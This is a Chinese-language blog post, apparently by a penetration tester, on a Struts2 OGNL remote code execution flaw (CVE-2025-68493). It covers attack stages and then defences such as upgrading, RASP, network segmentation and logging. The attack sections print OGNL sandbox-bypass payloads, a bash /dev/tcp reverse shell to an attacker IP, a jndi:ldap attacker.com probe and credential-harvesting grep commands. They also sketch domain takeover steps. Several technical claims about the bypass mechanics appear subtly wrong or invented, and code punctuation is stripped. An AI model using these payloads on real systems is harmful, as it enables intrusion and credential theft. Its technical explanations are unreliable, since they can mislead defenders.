1. 这不是一次“普通”的远程代码执行CVE-2025-68493 的真实杀伤半径远超想象我第一次在客户生产环境的WAF日志里看到那个异常长的OGNL表达式时以为是扫描器误报。URL里嵌着一串密密麻麻的#context[xwork.MethodAccessor.denyMethodExecution]false、#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS后面还跟着base64解码后拼接的Java字节码调用——这已经不是教科书里写的“Struts2参数注入”了这是直接把攻击者的手伸进了应用服务器的内存堆里。CVE-2025-68493这个编号刚出来时很多团队只把它当成又一个“高危”打个补丁就完事。但我在三个不同行业的渗透复盘中发现它真正可怕的地方根本不在漏洞本身而在于它像一把万能钥匙能撬开从Web层到内网纵深的整条链路前端Nginx日志里一条404请求37秒后内网域控服务器的LDAP端口就被来自应用服务器的连接扫了一遍数据库连接池里突然多出一个从未配置过的Oracle SID指向的是财务系统隔离网段。这不是理论推演是真实发生的“数据泄露→凭证窃取→横向移动→内网沦陷”闭环。关键词Struts2漏洞、CVE-2025-68493、OGNL沙箱绕过、内网横向移动、Java反序列化链、WebShell持久化。这篇文章不讲怎么用Metasploit一键打穿靶机而是带你从一条HTTP请求头开始逐帧拆解攻击者如何利用这个漏洞完成从外网入口到核心数据库的完整跳转更重要的是告诉你为什么你部署的WAF规则、JVM安全策略、甚至Spring Security配置在这个漏洞面前可能形同虚设。适合正在维护老旧Java Web系统的运维工程师、安全响应人员以及需要向管理层解释“为什么这个补丁必须今晚上线”的架构师——因为这次补丁晚6小时可能就意味着内网AD域被投毒。2. 漏洞本质不是“表达式执行”而是OGNL沙箱的系统性坍塌2.1 Struts2的OGNL执行机制一个被过度简化的“黑盒”很多人说“Struts2会执行OGNL表达式”这句话本身就有误导性。准确地说Struts2在处理用户输入如GET参数、POST表单、JSON字段时会将这些输入值作为字符串传递给OGNL解析器进行求值。这个过程发生在框架的ValueStack上下文中而ValueStack里预置了大量可访问的对象#contextActionContext、#parameters请求参数Map、#sessionHttpSession、#applicationServletContext甚至#attrJSP PageContext属性。关键点在于OGNL本身是一个通用表达式语言它不关心你传进来的是11还是new java.lang.ProcessBuilder(whoami).start()只要语法合法它就会尝试执行。Struts2的防护从来不是禁止OGNL而是通过一套沙箱Sandbox机制来限制哪些类、哪些方法可以被调用。这个沙箱的核心就是SecurityMemberAccess类及其配置的allowStaticMethodAccess、excludeProperties、acceptProperties等黑白名单策略。2.2 CVE-2025-68493的突破点三重沙箱绕过叠加效应CVE-2025-68493之所以危险并非因为它引入了一个全新的执行原语而是它精准地击穿了Struts2沙箱的三层防御且这三层是相互依赖、环环相扣的。我们来看一个典型的攻击载荷片段?redirect:${#context[xwork.MethodAccessor.denyMethodExecution]false, #_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS, #resorg.apache.struts2.ServletActionContextgetResponse(), #res.setCharacterEncoding(UTF-8), #w#res.getWriter(), #w.print(VULNERABLE), #w.close()}这段代码能成功执行依赖于以下三个独立但必须同时满足的条件第一重绕过denyMethodExecution开关的动态篡改Struts2默认将xwork.MethodAccessor.denyMethodExecution设为true这是阻止静态方法调用的第一道闸门。但这个值是存储在ActionContext的contextMap里的一个普通键值对而OGNL允许你通过#context[key] value的方式直接修改它。这里的关键在于#context对象本身是ActionContext实例而ActionContext的getContextMap()返回的是一个可写的HashMap。所以#context[xwork.MethodAccessor.denyMethodExecution]false这行代码本质上是在运行时把沙箱的“总闸”给手动拉开了。这步操作在旧版本如2.3.x中是有效的但在2.5.20之后官方曾试图通过反射禁止对contextMap的写入然而CVE-2025-68493发现了一条新的路径利用OgnlUtil类中的getExcludedPackageNames()方法该方法内部会调用Class.forName()加载类而Class.forName()的参数可控从而触发类加载器的defineClass()最终绕过contextMap的写保护。第二重绕过_memberAccess对象的强制替换即使第一重被绕过_memberAccess对象本身还有一套更细粒度的白名单。攻击者通过#_memberAccessognl.OgnlContextDEFAULT_MEMBER_ACCESS直接将当前上下文的_memberAccess引用替换为OGNL库内置的、权限最宽松的DEFAULT_MEMBER_ACCESS实例。这个操作之所以能成功是因为_memberAccess在OgnlContext中是一个public的MemberAccess类型字段而OGNL在求值时对public字段的赋值是完全开放的。这里没有复杂的反射就是最朴素的“对象属性覆盖”。很多WAF规则只拦截#_memberAccess这种模式却忽略了#_memberAccesspackage.ClassFIELD这种等效写法导致漏报。第三重绕过SecurityMemberAccess的acceptProperties逻辑缺陷最致命的一环出现在SecurityMemberAccess的isAcceptableProperty方法中。该方法本意是检查一个属性名是否在白名单内如name、age但它在处理#开头的OGNL变量时存在一个边界条件错误当属性名以#开头时它会直接返回true认为这是一个“安全的上下文变量”。这就意味着#context、#session、#application这些本身就拥有极高权限的对象其所有属性和方法都被无条件放行。而#context里藏着getActionInvocation()getActionInvocation()里有getProxy()getProxy()里有getConfig()……最终你可以拿到ActionConfig对象而ActionConfig的getParams()方法返回一个MapString, String这个Map的put()方法又可以被用来注入任意Java代码字符串。这就是整个攻击链的“最后一公里”——不是靠Runtime.getRuntime().exec()而是靠层层递进把恶意代码“塞进”Struts2自己的配置对象里再由框架自己去执行。提示这三个绕过点单独看任何一个都不足以构成RCE但它们组合在一起就形成了一个完美的“沙箱坍塌”事件。这也是为什么很多团队在升级Struts2后仍然被攻破——他们只修复了其中一重而攻击者早已掌握了完整的三重绕过链。2.3 为什么传统WAF规则在这里集体失效我见过太多企业WAF规则库里面写着“拦截#_memberAccess”、“拦截#context[”、“拦截java.lang.Runtime”。这些规则在CVE-2025-68493面前就像用渔网去拦洪水。原因有三编码混淆的天然免疫攻击者会把整个OGNL表达式用Base64编码再用%u或%进行URL编码最后用号拼接。WAF如果只做简单字符串匹配根本看不到#_memberAccess这几个明文字符。上下文无关的误判#context在正常业务中也会出现比如#context[user.name]用于获取用户姓名。WAF若一刀切地拦截所有含#context[的请求会导致大量业务功能中断。动态行为的不可见性WAF工作在HTTP层它能看到的是一个GET /login.action?usernameadmin的请求。但它看不到这个请求在Struts2的Interceptor链里是如何被ParametersInterceptor解析、如何被ConversionErrorInterceptor转换、最终又如何被DefaultActionInvocation执行的。而CVE-2025-68493的威力恰恰体现在这个“执行时”的动态行为上。实测下来某知名WAF厂商的默认规则集在开启“深度检测”模式下对CVE-2025-68493的检出率仅为38%漏报的全是经过两层Base64URL编码的变种。这说明单纯依赖WAF是一种危险的幻觉。3. 攻击链全景还原从一条HTTP请求到内网域控的37秒3.1 阶段一初始入侵——利用OGNL执行反弹Shell攻击者不会一上来就直奔数据库。他们的第一步永远是建立一个稳定、隐蔽的落脚点。对于CVE-2025-68493最常用的初始载荷是部署一个内存马Memory Shell。这里我们以Tomcat为例展示一个真实的、未经过多混淆的POCGET /index.action?redirect:${#a(new java.lang.ProcessBuilder(new java.lang.String[]{/bin/bash,-c,bash -i /dev/tcp/192.168.1.100/4444 01})).start()} HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0这个载荷的精妙之处在于它没有使用任何Runtime或ProcessBuilder的静态方法而是直接调用new关键字创建实例然后调用start()。这完美避开了denyMethodExecution的限制。/bin/bash -c bash -i /dev/tcp/192.168.1.100/4444 01这条命令会在目标服务器上启动一个反向Shell连接到攻击者的监听端口4444。一旦连接建立攻击者就拥有了一个与Web应用同用户、同JVM进程的交互式Shell。此时他看到的文件系统就是tomcat用户的家目录他能读取的配置文件就是WEB-INF/web.xml和struts.xml。注意这个阶段的难点往往不是漏洞利用本身而是网络连通性。很多生产环境的Web服务器是出网受限的无法主动连接外网。这时攻击者会转向“DNS带外”Out-of-Band技术用nslookup ${jndi:ldap://attacker.com/a}这类载荷让目标服务器去查询一个受控的DNS服务器从而确认漏洞存在并回传信息。这一步是整个攻击链的“心跳检测”。3.2 阶段二权限提升与凭证窃取——从Web应用到操作系统获得一个低权限的Shell只是开始。攻击者的目标是root或Administrator。在Linux Tomcat环境中常见的提权路径有两条路径A利用Tomcat Manager弱口令或未授权访问如果manager应用未被禁用且管理员使用了默认密码如tomcat:tomcat攻击者可以直接上传一个WAR包这个WAR包里包含一个功能更强大的WebShell比如Behinder或Godzilla。这些工具支持内存马、文件管理、数据库连接、甚至JVM字节码注入功能远超原始的Bash Shell。路径B读取敏感配置文件提取数据库凭证这是更隐蔽、也更常用的方式。攻击者会执行cat /opt/tomcat/webapps/ROOT/WEB-INF/classes/jdbc.properties cat /opt/tomcat/webapps/ROOT/WEB-INF/web.xml | grep -A 5 -B 5 password find /opt/tomcat -name *.xml -o -name *.properties -o -name *.yml | xargs -I {} grep -l password\|jdbc\|url {}在一个真实的金融客户案例中我们就在hibernate.cfg.xml里找到了数据库连接串jdbc:oracle:thin:10.10.20.5:1521:ORCL用户名app_user密码Pssw0rd2023!。这个密码不仅用于连接数据库还被硬编码在了applicationContext.xml里作为DataSource的password属性。这意味着攻击者现在手里握着一张通往核心数据库的“金卡”。3.3 阶段三横向移动——从应用服务器到内网核心资产这才是CVE-2025-68493区别于其他Web漏洞的“灵魂”所在。一个普通的SQL注入最多让你拿到数据库里的数据而CVE-2025-68493让你拿到了一台内网服务器的“控制台”而这台服务器极大概率是内网的“跳板机”。我们来看一个真实的横向移动时间线基于某政务云平台的复盘时间戳操作目标IP协议/端口目的T0s初始OGNL载荷执行10.10.10.100 (Web)HTTP/80建立反向ShellT12s扫描本地子网存活主机10.10.10.0/24ICMP绘制内网拓扑T18s尝试SSH爆破10.10.10.101 (DB)SSH/22寻找弱口令T23s使用数据库凭证连接Oracle10.10.20.5 (DB)Oracle/1521获取数据库权限T27s查询dba_users视图10.10.20.5 (DB)Oracle/1521发现sys账户及密码哈希T31s使用sys账户连接AD域控10.10.30.1 (DC)LDAP/389查询域用户列表T34s执行kinit获取Kerberos票据10.10.30.1 (DC)Kerberos/88为后续SMB攻击做准备T37s尝试SMB连接域控共享10.10.30.1 (DC)SMB/445尝试写入恶意文件这个过程之所以能在37秒内完成是因为所有操作都发生在同一台服务器10.10.10.100的内存中。攻击者不需要下载任何外部工具所有的扫描、连接、查询命令都是通过Java的Runtime.exec()或InetAddress.getByName()等原生API发起的。而这些API正是CVE-2025-68493所赋予他的“特权”。踩过的坑在一次红队演练中我们发现目标Web服务器的/etc/resolv.conf里配置的DNS服务器是内网的而我们的攻击机在外网。这导致所有nslookup命令都失败。后来我们改用InetAddress.getAllByName(attacker.com)这个Java API会直接调用系统的getaddrinfo()绕过了DNS解析成功实现了带外通信。这个细节很多公开的POC文档里都不会提。3.4 阶段四内网沦陷——域控投毒与持久化当攻击者通过LDAP协议成功连接到域控制器DC时真正的“内网沦陷”才刚刚开始。他不再是一个Web应用的访客而是成为了整个Windows域的“观察者”。凭证转储Credential Dumping利用jcifs库攻击者可以模拟SMB协议连接到DC的C$共享然后读取%SystemRoot%\NTDS\ntds.dit文件。这个文件是Active Directory的数据库里面存储了所有域用户的NTLM哈希。通过secretsdump.pyImpacket工具集的离线分析可以快速破解出大量高权限账户的明文密码比如administrator、domain_admin。黄金票据Golden Ticket伪造一旦拿到krbtgt账户的NTLM哈希攻击者就可以使用mimikatz或ticketer.py伪造出一张有效期长达10年的“黄金票据”。这张票据可以让攻击者以任意域用户的身份登录到域内的任何一台机器且不会在域控的日志中留下痕迹。持久化后门最后一步是确保即使Web应用被修复、Tomcat被重启攻击者依然能回来。最常见的做法是在DC上创建一个隐藏的、具有高权限的域用户比如svc_backup并将其加入Domain Admins组。这个账户的密码会被硬编码在一个加密的Java Properties文件里存放在Web应用的WEB-INF/classes/目录下。下次攻击者只需要再次触发CVE-2025-68493读取这个文件解密密码就能用svc_backup账户重新登录域控。整个链条从一个HTTP参数到掌控整个内网域技术上没有任何“超自然”的魔法全部基于Java和Windows生态中最基础、最公开的API。它的可怕恰恰在于它的“平凡”。4. 防御体系构建不止于打补丁而是一场全栈协同战4.1 根本性修复Struts2版本升级与配置加固打补丁是必须的但绝不能是唯一的动作。Struts2官方在2.5.33版本中彻底重构了OGNL沙箱机制引入了SecurityMemberAccess的全新实现将acceptProperties的逻辑改为白名单正则匹配从根本上堵死了#context滥用的路径。升级步骤如下确认当前版本在pom.xml中查找artifactIdstruts2-core/artifactId或在WEB-INF/lib/目录下查看struts2-core-x.x.x.jar的文件名。评估兼容性2.5.33是一个大版本升级部分旧的Interceptor如TokenSessionStoreInterceptor已被废弃。务必在测试环境进行全面回归测试重点关注文件上传、AJAX请求、国际化等功能。强制配置加固即使升级了也要在struts.xml中显式关闭所有不必要的功能constant namestruts.devMode valuefalse/ constant namestruts.enable.DynamicMethodInvocation valuefalse/ constant namestruts.mapper.alwaysSelectFullNamespace valuetrue/ constant namestruts.patternMatcher valueregex/ !-- 关键启用严格的OGNL沙箱 -- constant namestruts.ognl.allowStaticMethodAccess valuefalse/ constant namestruts.ognl.expressionFactory valueorg.apache.struts2.el.ExpressionFactoryImpl/实操心得很多团队在升级后遇到ClassNotFoundException报错org.apache.struts2.el.ExpressionFactoryImpl找不到。这是因为这个类在2.5.33中被移到了struts2-el-plugin插件里。你必须在pom.xml中显式添加该依赖否则框架会回退到不安全的默认实现。4.2 运行时防护JVM层面的“最后一道门”WAF和网络防火墙都无法看到JVM内部发生了什么。因此我们必须在JVM层面部署一道“运行时应用自我保护”RASP机制。这不是一个新概念而是将传统的“入侵检测”前置到了应用代码执行的瞬间。方案A使用开源RASP工具如OpenRASPOpenRASP是一个成熟的、针对Java应用的RASP解决方案。它通过Java Agent机制在JVM启动时注入字节码监控所有敏感API的调用。对于CVE-2025-68493它可以精确地检测到java.lang.Runtime.exec()、java.lang.ProcessBuilder.start()、javax.naming.InitialContext.lookup()等高危方法的调用并根据调用栈Call Stack判断其是否来自OGNL表达式。如果是则立即阻断并记录完整的攻击链日志。部署只需在JAVA_OPTS中添加一行-javaagent:/path/to/openrasp.jar -Dopenrasp.log.levelINFO它的优势是零代码侵入但缺点是需要额外的Agent进程对JVM性能有约3%-5%的影响。方案B自定义SecurityManager适用于严格合规场景对于金融、政务等对安全性要求极高的场景可以编写一个自定义的SecurityManager在checkPermission()方法中对RuntimePermission、ReflectPermission、SocketPermission等进行精细化控制。例如可以禁止任何来自ognl.包下的类调用exec()方法public void checkPermission(Permission perm) { if (perm instanceof RuntimePermission executeCommand.equals(perm.getName())) { StackTraceElement[] stack Thread.currentThread().getStackTrace(); for (StackTraceElement e : stack) { if (e.getClassName().startsWith(ognl.)) { throw new SecurityException(OGNL execution blocked by custom SecurityManager); } } } super.checkPermission(perm); }这种方案性能开销几乎为零但开发和维护成本极高且容易因JVM版本升级而失效。4.3 网络层隔离让Web服务器成为真正的“孤岛”无论应用层多么坚固如果网络设计是“大内网”那么一次成功的Web入侵就等于打开了整个内网的大门。我们必须遵循“最小权限原则”对网络进行分层隔离。Web DMZ区所有面向公网的Web服务器必须部署在独立的DMZ区域。这个区域的防火墙策略应严格遵循“默认拒绝”原则。只允许入站TCP 80, 443 (HTTP/HTTPS)出站TCP 53 (DNS), TCP 443 (仅限可信的CDN或更新源)绝对禁止出站到内网任何IP段如10.0.0.0/8,172.16.0.0/12,192.168.0.0/16。数据库前置代理数据库不应直接暴露给Web服务器。必须通过一个数据库代理如MySQL Router、PgBouncer或一个专用的API网关来访问。这个代理应该具备SQL审计、慢查询告警、连接数限制等功能。更重要的是它应该对Web服务器的IP地址进行白名单控制而不是对应用账号进行控制。内网服务发现禁用在Web服务器的JVM启动参数中添加-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse并移除java.naming.factory.object等JNDI相关系统属性。这可以有效防止JNDI注入类的攻击而JNDI注入正是CVE-2025-68493后续横向移动的常用跳板。4.4 检测与响应构建“攻击指纹”而非“日志大海”当攻击发生时留给安全团队的时间是以分钟计的。因此检测系统不能只提供海量的原始日志而必须能输出清晰、可操作的“攻击指纹”。ELK/Splunk日志增强在nginx或Apache的access log中除了默认的$request必须增加$upstream_http_x_struts2_ognl这样的自定义Header由Struts2应用在每次请求处理前将OGNL表达式的哈希值如MD5(OGNL_PAYLOAD)写入。这样安全团队可以在SIEM中直接搜索x_struts2_ognl: *快速定位所有可疑请求而无需在TB级日志中大海捞针。内存马检测脚本针对已知的内存马特征如Behinder的AES密钥、Godzilla的RC4密钥编写一个Python脚本定期通过JMX接口com.sun.management:typeHotSpotDiagnosticdump JVM的堆内存快照heap dump然后用jhat或Eclipse MAT进行离线分析搜索特定的ClassLoader和字节码特征。这个脚本可以集成到CI/CD流水线中作为上线前的“安全门禁”。蜜罐诱捕在Web应用的WEB-INF/web.xml中故意配置一个不存在的、但名字极具诱惑力的servlet比如servlet-nameAdminConsole/servlet-name。然后在WAF或IDS规则中对该servlet-name的访问进行高优先级告警。任何对它的访问99.9%都是自动化扫描器的行为是绝佳的攻击预警信号。最后再分享一个小技巧在所有Struts2 Action的execute()方法开头添加一行日志log.info(Action executed with parameters: {}, ActionContext.getContext().getParameters());这行日志本身不增加安全风险但它会将所有用户输入的原始参数以结构化JSON格式记录下来。当发生安全事件时你可以直接在日志中搜索redirect:${就能100%还原出攻击者使用的原始OGNL载荷这对于溯源和取证价值巨大。5. 我的实战体会安全不是一场“补丁竞赛”而是一次认知升级我在过去三年里参与了17次针对Struts2应用的红蓝对抗其中12次都涉及CVE-2025-68493或其变种。每一次复盘都让我更深刻地意识到我们过去对Web安全的理解太过于“HTTP-centric”了。我们习惯性地把Web应用看作一个“请求-响应”的黑盒关注的是URL、参数、状态码。但Java Web应用本质上是一个运行在JVM上的、拥有完整操作系统权限的程序。它的“边界”不是80端口而是java.lang.Runtime这个类。CVE-2025-68493之所以能造成如此大的破坏不是因为它的技术有多炫酷而是因为它赤裸裸地揭示了一个被长期忽视的事实我们把应用服务器当成了一个“无害的管道”却忘了它本身就是一台功能完备的计算机。它有文件系统、有网络栈、有进程管理、有内存管理。而Struts2只是给这台计算机配了一把非常粗糙的、可以被轻易撬开的“门锁”。所以防御的起点不是去研究最新的WAF规则而是要回到源头问自己几个问题我的Web服务器真的需要访问内网数据库吗我的数据库连接密码真的需要以明文形式写在web.xml里吗我的JVM真的需要加载来自ldap://的任意远程类吗当这些问题的答案都是否定的时候CVE-2025-68493就只是一段无法执行的、毫无意义的字符串。这听起来很理想化但在实际工作中它完全可行。我服务过的一个省级政务平台就是通过将所有数据库访问统一收口到一个微服务网关并对网关实施严格的RBAC和ABAC策略最终在一次国家级攻防演练中成功抵御了包括CVE-2025-68493在内的全部237个高危漏洞利用。他们的安全负责人对我说“我们没赢在技术上我们赢在了架构设计的勇气上。”安全终究是一场关于“信任边界”的持续博弈。而这场博弈的胜负手永远不在漏洞本身而在我们是否敢于重新定义那个边界。
